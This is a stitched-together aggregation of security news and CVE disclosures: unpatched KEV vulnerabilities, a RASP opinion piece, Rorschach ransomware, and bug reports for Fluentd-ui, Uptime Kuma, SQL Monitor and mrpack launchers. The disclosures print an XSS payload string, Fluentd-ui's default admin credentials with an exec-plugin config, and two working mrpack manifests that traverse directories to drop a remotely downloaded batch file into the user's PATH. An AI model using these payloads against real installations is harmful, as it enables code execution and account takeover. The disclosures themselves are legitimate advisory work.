Scans of the Internet find that millions of computers, virtual machines, and containers are vulnerable to one or more of the hundreds of cyberattacks currently used in the wild, despite being patchable.

More than 15 million instances of Internet-connected applications, services, and devices are vulnerable to software flaws that the US government has confirmed are being exploited by attackers in the wild.

More than 190,000 systems, for example, appear to still be vulnerable to the 8-year-old Heartbleed vulnerability (CVE-2014-0160), while nearly 6.5 million devices are vulnerable to a medium-severity flaw (CVE-2021-40438) that could be used to redirect traffic to another server. In all, millions of applications, services, and operating systems are exposed to more than 200 remotely detectable vulnerabilities from the Known Exploitable Vulnerabilities (KEV) Catalog, researchers from cybersecurity firm Rezilion stated in a report published on March 30.

The takeaway? There is a concerning lack of patching of systems known to be vulnerable to in-the-wild attacks, says Yotam Perkal, director of vulnerability research at Rezilion.

"While only a fraction of the vulnerabilities discovered end up being exploited, the vulnerabilities on the KEV Catalog _are_ being exploited, continuously, by sophisticated threat actors as well as advanced persistent threat (APT) groups," he says. "Not taking action is an invitation to get hit."

He adds, "Companies should do whatever they can to prioritize patching these vulnerabilities."

To boot, those estimates of just how many things are vulnerable out there are conservative, Perkal says, as the services affected by more than one vulnerability were counted only once.

"Given this conservative calculation approach, added to the fact that there are many CISA KEV vulnerabilities that can’t be identified with a high level of certainty (if at all) using Shodan, it is safe to assume that the actual number of vulnerable instances is much higher," he says.  

    

Vulnerabilities exploited by year of disclosure. Source: Rezilion

Typically, only a small fraction of vulnerabilities are exploited every year. In 2022, for example, more than 25,100 vulnerabilities were disclosed and assigned a Common Vulnerabilities and Exposures (CVE) identifier, according to the National Vulnerability Database. Yet only 107 of those issues are known to have been exploited, according to the Known Exploited Vulnerabilities Catalog, a list of more than 900 vulnerabilities maintained by the US Department of Homeland Security's Cybersecurity and Infrastructure Security Agency (CISA).

However, many of the KEV bugs are highly dangerous, such as the recently added vulnerability in IBM's popular Aspera Faspex file transfer stack and a bug in the ZK Java Web Framework.

**The Long Tail of Exploitation**

Using data gleaned from the KEV and information about the vulnerabilities contained in entries in the CVE databases, Rezilion researchers scanned the Internet using Shodan. They found 15 million services vulnerable to at least one exploit on the list.

Nearly 6.5 million instances of Apache HTTP Server were running a version still vulnerable to a critical sever-side request forgery (CVE-2021-40438) flaw. Another 2.1 million versions of the server were vulnerable to a separate flaw (CVE-2019-0211) that allows an attacker to escalate their privileges on the system. Despite its age, the Heartbleed flaw (CVE-2014-0160) ranked fifth on the list of most common vulnerabilities from the KEV Catalog, and the BlueKeep vulnerability from 2019 ranked ninth, with almost 52,000 instances discovered through the researchers' scans of the Internet. BlueKeep (CVE-2019-0708) is a critical remote code execution bug in the Remote Desktop Services Protocol in older and legacy versions of Windows.

Using data from threat intelligence service GreyNoise, the researchers discovered hundreds of scans on the part of threat actors searching for KEV vulnerabilities every day, making the threat very real, the company stated in its advisory.

"Failing to address these actively exploitable vulnerabilities poses a significant risk," the advisory stated. "While patching a vulnerability you know about, which is actively exploited in the wild and has a publicly available patch should be the easy part, the reality is that millions of systems remain exposed to these vulnerabilities — some even years after the vulnerability was discovered and a patch was made available."

**More Vulnerable Under the Surface**

In addition, companies are more vulnerable once an attacker gets past the perimeter. Shodan scans are limited to Internet-facing systems. Many of the flaws on the KEV list are generally only exploitable from inside a network, Perkal says.

"Some of the vulnerabilities on the CISA KEV Catalog are not vulnerabilities that exist in internet-facing applications," he says. "For example, local privilege escalation vulnerabilities are not vulnerabilities that Shodan will be able to identify."

Companies should first find which software components are affected entries on the KEV list and validate that the actual vulnerable code is part of running software. Since applications often do not use every function in an imported software library, the vulnerable code may never run. Rezilion security researcher Ofri Ouzan estimates that 85% of code with vulnerabilities is never actually run.

After that, companies can use the CISA KEV list to prioritize patching of issues. Beyond using the KEV list, other efforts are aiming to predict the likelihood of exploitation, which could help companies prioritize their effort.

15M+ Services & Apps Remain Sitting Ducks for Known Exploits

When runtime application self-protection is held to a higher standard, it can secure thousands of applications and prevent burnout in security teams.

In recent years, the application security world has seen the rise of runtime application self-protection (RASP) technology. As described by Gartner, RASP is a security technology that is integrated into an application or its runtime environment, capable of controlling and preventing real-time attacks. Unfortunately, many Web application firewall (WAF) companies saw an opportunity to leverage the term. They introduced "RASP-like" agents at the network layer, which isn't fully embracing the definition of RASP technology.

In contrast, genuine RASP technology operates at the application layer, where it has full context of the user, application logic, and domain information. This context allows a RASP to make informed decisions about the application's security and to prevent exploits before they can cause harm. As a result, a true RASP should have zero false positives and reduced latency, providing an immediate boost in performance. True RASP requires a list of immutable rules that use context to understand when a new vulnerability is introduced and act accordingly. This immutability is possible when rules are baked into the code base at the application layer and does not require any changes once deployed.

**Three Areas Where RASP Went Wrong**

**1\. The Barking Dog Problem: Most Alerts Are False Positives**

The issue with WAFs is that they work at the network layer, a lagging indicator of application execution. The resulting lack of context leads to high false-positive rates, long wait times, and poor performance, as WAFs can only guess about the nature of a vulnerability based on what they previously have been exposed to.

Imagine a guard dog in the yard barking whenever it hears a noise beyond the fence. These noises may be the approach of an intruder, but they could also be cars passing by. The guard dog cannot accurately gauge the difference, so the severity of any given noise is lost, making it impossible for the people inside the house to know which alerts are genuine and which are false positives. This scenario is essentially the capability of the standard RASP offering.

**2\. The 999 Bad Guys Problem: Only Capable of Testing a Sample**

Believe it or not, some vendors tell you to only run their security solution in production environments if you protect only a sample size. That means it pulls a sample — perhaps one in every 1,000 requests — and tests that sample while catching what happens for the next 999. Meaning, if you're a good actor, your signature will check out. But regardless of whether or not the following 999 actors have bad intentions, they will get through. This lack of consistency is all because WAF-based RASPs can't handle the performance requirements of having to test every request.

**3\. The "It Takes Too Long" Problem: Latency Affects Performance**

Any time you have a WAF-based RASP, you experience increased latency, since it cannot influence the application's code base in any way. Meanwhile, widely available RASPs have to send entire text payloads to their Web analyzer and then wait for it to be sent back, which can take a long time. And if your customers are waiting on payments to go through, they might give up and seek out your competitors instead.

Improving this process is similar to code optimization. When creating a list, developers set it up to add new items to the beginning of a list instead of the end. This optimization prevents the VM from rebuilding the entire list each time a new item is added, preventing increasing latency as the list grows. Compiler engineers addressed these issues by implementing just-in-time (JIT) compiling in the early 2000s, which automatically optimizes code based on the nuances of the given language.

**Why Has the Definition of RASP Been So Watered Down?**

Developing RASP technology requires a combination of security engineering and software engineering skills. To be effective, the RASP developer must deeply understand the application's architecture and the nuances of the programming language being used. This requires domain expertise that is rare among security professionals.

**True RASP Optimizes Code for Performance as Well as Security**

Because most RASP platforms behave like WAFs, there's a massive overhead involved, which requires running them in sample mode. In contrast, a genuine RASP performs the actual protection in the runtime.

These operations exist in memory, which is very efficient, and because this exists in the same space as your applications, they're very performant. By performing the protection in the runtime, there's no need to rate limit or perform protection in sample sizes because the actual operation takes just a few milliseconds.

Regardless of any changes made to the application, high-performance security remains constant. This philosophy aligns with the philosophy of infrastructure-as-code, in which you define the desired state of your infrastructure, and no matter what happens in the environment, the state of the infrastructure remains the same.

RASP, by definition, parallels many principles of infrastructure-as-code. This parallel is possible due to the deep contextual awareness of the application and the language in which it's built. Like infrastructure-as-code, a genuine approach to RASP can and should make use of immutability to ensure that rules are applied regardless of changes to the codebase.

Immutability is possible by performing a check on the output of a function the first time it's called and switching out any unhealthy functionality with protected functionality, ensuring that the application is always healthy as it runs.

This approach allows security to be deployment agnostic and doesn't require code changes to the application code, tuning, or waiting for deployment windows.

By performing protection in the runtime, patching results with immediate protection on all running instances of the application, one eliminates the need for constant false positives and removes the risk of future exploits.

**RASP Can and Should Be Held to a Higher Standard**

In short, RASP should be held to a higher standard. When done so, it's possible to secure thousands of applications, lowering the total cost of ownership of your WAFs and helping prevent burnout in your security teams.

What RASP Should Have Been

Cross Site Scripting vulnerability found in KOHGYLW Kiftd v.1.0.18 allows a remote attacker to execute arbitrary code via the <ifram> tag in the upload file page.

**“无限”传输**

kiftd简约不简单。视频播放、文档预览、图片查看、音乐播放、拖拽上传、移动端访问、WebDAV支持……这些功能，对kiftd来说都是标配。

**真正跨平台**

Windows？Linux？Mac？kiftd不通过开发不同的版本实现跨平台。一个版本，3大舞台，这才是真正的跨平台。

**即开即用**

有一种安装叫做“解压即用”——没有复杂的安装和配置过程，真正做到即开即用；还有一种卸载叫做“删除即走”——绝不和您撒娇卖萌。

**马上了解kiftd的一切**

您还在使用U盘分享文件么？您还在使用公共网盘保存隐私文件？您需要利用自己的资源搭建起一个网盘系统而苦于没有好的选择？现在，您可以选择kiftd了。 功能速览……

**3分钟快速开始**

让只会点击鼠标的小白用户完成一个完整的网盘系统部署工作需要多久？对于kiftd来说，设计耗时为3分钟——没有任何复杂的配置流程，解压，然后运行，开始就是这么简单。 快速开始……

**了解最新版本信息**

kiftd一直朝着更加完善的目标迈进，每个新版本都会加入一些实用的新功能并进一步提高其稳定性。 最新讯息……

**立即获取源代码**

无论您是希望探索kiftd内部的奥秘还是对其进行DIY，您都可以随时下载kiftd的源代码！ 立即编译……

**程序接入指南**

kiftd面向的用户除了真人以外，也包括另一个JAVA程序——只需编写一些简单的代码，便可实现由另外一个JAVA程序控制kiftd，作为其文件分享模块使用。 程序接入……

CVE-2020-19699: kiftd 一款开源、完善、便捷的个人网盘搭建系统

An issue was discovered in Fluent Fluentd v.1.8.0 and Fluent-ui v.1.2.2 allows attackers to gain escilated privlidges and execute arbitrary code due to a default password.

**vulnerability info**

After the default deployment of Fluentd-ui, it is not mandatory to change the password and there is a default password.

    $ sudo /usr/sbin/td-agent-ui start
    Puma 2.9.2 starting...
    * Min threads: 0, max threads: 16
    * Environment: production
    * Listening on tcp://0.0.0.0:9292
    
    Then, open http://localhost:9292/ by your browser.
    The default account is username="admin" and password="changeme"
    

And there is a built-in command execution plug-in for flund. Therefore, in the case of replacement after deployment, there is a remote command execution vulnerability.

    in_exec is included in Fluentd's core. No additional installation process is required.
    <source>
      @type exec
      command cmd arg arg
      keys k1,k2,k3
      tag_key k1
      time_key k2
      time_format %Y-%m-%d %H:%M:%S
      run_interval 10s
    </source>
    

**Many products have the same function,but security by default**

such as:

*   SQL Server xp\_cmdshell

    Permissions
    Because malicious users sometimes attempt to elevate their privileges by using xp_cmdshell, xp_cmdshell is disabled by default. Use sp_configure or Policy Based Management to enable it. For more information, see xp_cmdshell Server Configuration Option.
    
    When first enabled, xp_cmdshell requires CONTROL SERVER permission to execute and the Windows process created by xp_cmdshell has the same security context as the SQL Server service account. The SQL Server service account often has more permissions than are necessary for the work performed by the process created by xp_cmdshell. To enhance security, access to xp_cmdshell should be restricted to highly privileged users.
    

*   huginn  
    

**Security recommendations**

By default, security should adhere to the default security principles.

*   First, the in\_exec Input plugin should be disabled by default. If the user actually uses the function, it should be turned on separately. This can protect all users who do not use the function
*   In addition, the login password should be randomly generated or changed after the first login.

CVE-2020-21514: There is a remote command execution vulnerability on version 0.12-1.0 · Issue #295 · fluent/fluentd-ui

An issue found in Wondershare Technology Co, Ltd Edrawmind v.10.0.6 allows a remote attacker to executea arbitrary commands via the WindowsCodescs.dll file.

**Have a question about this project?** Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Pick a username

Email Address

Password

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

CVE-2023-27759: Wondershare Edrawmind Untrusted Search Path Vulnerability · Issue #8 · liong007/Wondershare

Cross Site Scripting vulnerability found in :ouislam Uptime Kuma v.1.19.6 and before allows a remote attacker to execute arbitrary commands via the description, title, footer, and incident creation parameter of the status_page.js endpoint.

**⚠️ Please verify that this bug has NOT been raised before.**

*   I checked and didn't find similar issue

**🛡️ Security Policy**

*   I agree to have read this project Security Policy

**Description**

Script tag in custom footer text breaks window.preloadData and it gets added to page.  

Also side effect is that you can load custom JS/XSS there if use this footer text:  
"</script><script>alert()</script>"

**👟 Reproduction steps**

1.  Edit Status Page
2.  Footer text: <script></script>
3.  Save and json is added to top of the page.
4.  Console error: Uncaught SyntaxError: Invalid or unexpected token

**👀 Expected behavior**

window.preloadData should escape script to avoid parse error

**😓 Actual Behavior**

window.preloadData crashes when script tag is in Footer Text.

**🐻 Uptime-Kuma Version**

1.18.0

**💻 Operating System and Arch**

Windows 10

**🌐 Browser**

Edge latest

**🐋 Docker Version**

_No response_

**🟩 NodeJS Version**

_No response_

**📝 Relevant log output**

_No response_

CVE-2023-26777: Script tag in Footer Text breaks window.preloadData at Status Page · Issue #2186 · louislam/uptime-kuma

Cybersecurity researchers have taken the wraps off a previously undocumented ransomware strain called Rorschach that's both sophisticated and fast.
"What makes Rorschach stand out from other ransomware strains is its high level of customization and its technically unique features that have not been seen before in ransomware," Check Point Research said in a new report. "In fact, Rorschach is one

Cybersecurity researchers have taken the wraps off a previously undocumented ransomware strain called **Rorschach** that's both sophisticated and fast.

"What makes Rorschach stand out from other ransomware strains is its high level of customization and its technically unique features that have not been seen before in ransomware," Check Point Research said in a new report. "In fact, Rorschach is one of the fastest ransomware strains ever observed, in terms of the speed of its encryption."

The cybersecurity firm said it observed the ransomware deployed against an unnamed U.S.-based company, adding it found no branding or overlaps that connect it to any previously known ransomware actors.

However, further analysis of Rorschach's source code reveals similarities to Babuk ransomware, which suffered a leak in September 2021, and LockBit 2.0. On top of that, the ransom notes sent out to the victims appear to be inspired by that of Yanluowang and DarkSide.

The most significant aspect of the intrusion is the use of a technique called DLL side-loading to load the ransomware payload, a method not observed in such attacks. The development marks a new sophistication in the approaches adopted by financially motivated groups to sidestep detection.

Specifically, the ransomware is said to have been deployed by abusing Palo Alto Network's Cortex XDR Dump Service Tool (cy.exe) to sideload a library named "winutils.dll."

Another unique characteristic is its highly customizable nature and the use of direct syscalls to manipulate files and bypass defense mechanisms.

Rorschach ransomware is also tasked with terminating a predefined list of services, deleting shadow volumes and backups, clearing Windows events logs to erase forensic trail, disabling the Windows firewall, and even deleting itself after completing its actions.

Internal propagation is achieved by compromising the domain controller and creating a group policy, according to Check Point and South Korean cybersecurity company AhnLab, which erroneously attributed the infection chain to DarkSide earlier this February.

The ransomware, like other malware strains observed in the wild, skips machines that are located in the Commonwealth of Independent States (CIS) countries by checking the system language.

THN WEBINAR

Become an Incident Response Pro!

Unlock the secrets to bulletproof incident response – Master the 6-Phase process with Asaf Perlman, Cynet's IR Leader!

Don't Miss Out – Save Your Seat!

"The Rorschach ransomware employs a highly effective and fast hybrid-cryptography scheme, which blends the curve25519 and eSTREAM cipher hc-128 algorithms for encryption purposes," researchers Jiri Vinopal, Dennis Yarizadeh, and Gil Gekker explained.

This process is designed to only encrypt a specific portion of the original file content instead of the entire file, and employs additional compiler optimization methods that make it a "speed demon."

In five separate tests carried out by Check Point in a controlled environment, 220,000 files were encrypted using Rorschach within four minutes and 30 seconds on average. LockBit 3.0, on the other hand, took approximately seven minutes.

"Its developers implemented new anti-analysis and defense evasion techniques to avoid detection and make it more difficult for security software and researchers to analyze and mitigate its effects," the researchers said.

"Additionally, Rorschach appears to have taken some of the 'best' features from some of the leading ransomwares leaked online, and integrated them all together. In addition to Rorschach's self-propagating capabilities, this raises the bar for ransom attacks."

The findings come as the Fortinet FortiGuard Labs detailed two emerging ransomware families called PayMe100USD, a Python-based file-locking malware, and Dark Power, which is written in the Nim programming language.

Found this article interesting? Follow us on Twitter __ and LinkedIn to read more exclusive content we post.

Rorschach Ransomware Emerges: Experts Warn of Advanced Evasion Strategies

PolyMC Launcher <= 1.4.3 is vulnerable to Directory Traversal. A mrpack file can be maliciously crafted to create arbitrary files outside of the installation directory.

On Tuesday, 31st January, a member of the Quilt team discovered path traversal vulnerabilities in five different mrpack implementations, affecting MultiMC, PolyMC, Prism Launcher, ATLauncher and mrpack-install.

This article serves as a write-up for the vulnerabilities, and the affected versions.

**Affected software**

Below you can find a table detailing the affected and patched versions for each piece of software.

| Software | Affected versions | Patched versions | |----------------|-------------------|------------------| | MultiMC | <= 0.6.16 | >= 0.7.0 | | PolyMC | <= 1.4.3 | >= 5.0 | | Prism Launcher | <= 6.1 | >= 6.2 ¹ | | ATLauncher | <= 3.4.26.0 | >= 3.4.27.0 | | mrpack-install | <= 0.16.2 | >= 0.16.3 |

¹: version 6.2 of Prism Launcher contains a critical bug, we recommend installing 6.3.

We recommend every user to upgrade to a patched version. If you can't, we recommend you to inspect any mrpack before installation.

**Vulnerability details**

mrpack is a modpack format popularized by the Modrinth® mod sharing platform.

It allows modpack creators to define a files array to download various files, such as mods, during modpack installation. This can be open to path traversals by using an absolute path (if the implementation allows it) or relative directories (/../) to escape the installation folder and install a file in any directory the process has access to.

**Attack vector**

While we recognize installing a modpack requires trust into the modpack maker once the modpack is run, we're of the opinion that installing a modpack shouldn't require trust. One scenario can also be imagined where one would install a suspicious modpack for checking its content, leading to infection in the process.

Modrinth® confirmed they have checks in place preventing such a modpack from being installed, although this vulnerability still affects modpacks installed off-site.

**Demonstration**

Below you can find some example modrinth.index.json files that once put into a mrpack would install a pwned binary inside the user PATH. They assume the relevant tool is installed at the default location, except for mrpack-install which will depend on the execution location.

**MultiMC, PolyMC, Prism Launcher, mrpack-install**

    {
      "formatVersion": 1,
      "game": "minecraft",
      "versionId": "exploit-demo",
      "name": "Exploit demo",
      "files": [
        {
          "path": "..\\..\\..\\..\\..\\..\\..\\AppData\\Local\\Microsoft\\WindowsApps\\pwned.bat",
          "hashes": {
            "sha1": "f2f2afa63f7c46d966b460c6efa85505ec8e7d26",
            "sha512": "88b0dfed128d1b1dac86ef825fad577bd2fe99d79a8eb73a826a6634e6d2edadfe2fd50aa69b1009c38c7f4d1bbdd7199e2425cf3035515a794646474b3b28e8"
          },
          "env": {
            "client": "required",
            "server": "required"
          },
          "downloads": [
            "https://raw.githubusercontent.com/Akarys42/pwned/main/pwned.bat"
          ],
          "fileSize": 200
        }
      ],
      "dependencies": {
        "minecraft": "1.18.2"
      }
    }

**ATLauncher**

    {
      "formatVersion": 1,
      "game": "minecraft",
      "versionId": "exploit-demo",
      "name": "Exploit demo",
      "files": [
        {
          "path": "../../../../Local/Microsoft/WindowsApps/pwned.bat",
          "hashes": {
            "sha1": "f2f2afa63f7c46d966b460c6efa85505ec8e7d26",
            "sha512": "88b0dfed128d1b1dac86ef825fad577bd2fe99d79a8eb73a826a6634e6d2edadfe2fd50aa69b1009c38c7f4d1bbdd7199e2425cf3035515a794646474b3b28e8"
          },
          "env": {
            "client": "required",
            "server": "required"
          },
          "downloads": [
            "https://raw.githubusercontent.com/Akarys42/pwned/main/pwned.bat"
          ],
          "fileSize": 200
        }
      ],
      "dependencies": {
        "minecraft": "1.18.2"
      }
    }

**Advisories**

*   MultiMC: none
*   PolyMC: GHSA-3rfr-g9g9-7gx2
*   Prism Launcher: GHSA-wxgx-8v36-mj2m
*   ATLauncher: GHSA-7cff-8xv4-mvx6
*   mrpack-install: GHSA-r887-gfxh-m9rr

**CVE entries**

*   MultiMC: CVE-2023-25306
*   PolyMC: CVE-2023-25305
*   Prism Launcher: CVE-2023-25304
*   ATLauncher: CVE-2023-25303
*   mrpack-install: CVE-2023-25307

**Credits**

Vulnerability found and blog post written by Ambre Bertucci (Akarys)

Research inspired by Silver

CVE-2023-25305: Five vulnerabilities found in mrpack installer implementations

A Cross Site Scripting (XSS) vulnerability in the web SQL monitor login page in Redgate SQL Monitor 12.1.31.893 allows remote attackers to inject arbitrary web Script or HTML via the returnUrl parameter.

    # Exploit Title: SQL Monitor 12.1.31.893 - Cross-Site Scripting (XSS) # Date: [12/21/2022 02:07:23 AM UTC]# Exploit Author: [geeklinuxman@gmail.com]# Vendor Homepage: [https://www.red-gate.com/]# Software Link: [https://www.red-gate.com/products/dba/sql-monitor/]# Version: [SQL Monitor 12.1.31.893]# Tested on: [Windows OS]# CVE : [CVE-2022-47870] [Description] Cross Site Scripting (XSS) in the web SQL monitor login page in Redgate SQL Monitor 12.1.31.893 allows remote attackers to inject arbitrary web Script or HTML via the returnUrl parameter. [Affected Component] affected returnUrl inhttps://sqlmonitor.*.com/Account/Login?returnUrl=&hasAttemptedCookie=True affected A tag under span with "redirect-timeout" id value [CVE Impact] disclosure of the user's session cookie, allowing an attacker tohijack the user's session and take over the account. [Attack Vectors] to exploit the vulnerability, someone must click on the malicious AHTML tag under span with "redirect-timeout" id value [Vendor] http://redgate.com http://sqlmonitor.com https://sqlmonitor.

CVE-2022-47870: SQL Monitor 12.1.31.893 Cross Site Scripting ≈ Packet Storm

Red Hat Security Advisory 2023-1559-01 - The kernel packages contain the Linux kernel, the core of any Linux operating system. Issues addressed include a use-after-free vulnerability.

Tag

#windows